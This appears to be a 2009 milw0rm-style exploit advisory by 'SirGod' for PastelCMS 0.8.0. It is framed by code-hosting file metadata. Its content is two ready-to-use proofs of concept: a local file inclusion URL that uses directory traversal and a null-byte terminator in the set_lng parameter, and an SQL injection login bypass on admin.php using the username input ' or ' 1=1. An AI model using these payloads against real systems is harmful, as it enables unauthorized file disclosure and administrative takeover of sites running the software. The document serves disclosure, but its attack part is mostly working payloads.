30 lines
727 B
Text
Executable file
30 lines
727 B
Text
Executable file
#########################################################################
|
|
[+] PastelCMS 0.8.0 (LFI/SQL) Multiple Remote Vulnerabilities
|
|
[+] Discovered By SirGod
|
|
[+] www.mortal-team.net
|
|
[+] www.h4cky0u.org
|
|
#########################################################################
|
|
|
|
[+] Download : http://pastel.pri.ee/?id=58
|
|
|
|
[+] Local File Inclusion
|
|
|
|
PoC :
|
|
|
|
http://127.0.0.1/[path]/?set_lng=../../../../../../BOOTSECT.BAK%00
|
|
|
|
[+] SQL Injection ( Login Bypass)
|
|
|
|
- Go to :
|
|
|
|
http://127.0.0.1/[path]/admin.php
|
|
|
|
- Login as the following :
|
|
|
|
Username : [REAL ADMIN USERNAME HERE] ' or ' 1=1
|
|
Password : anything
|
|
|
|
|
|
#########################################################################
|
|
|
|
# milw0rm.com [2009-04-21]
|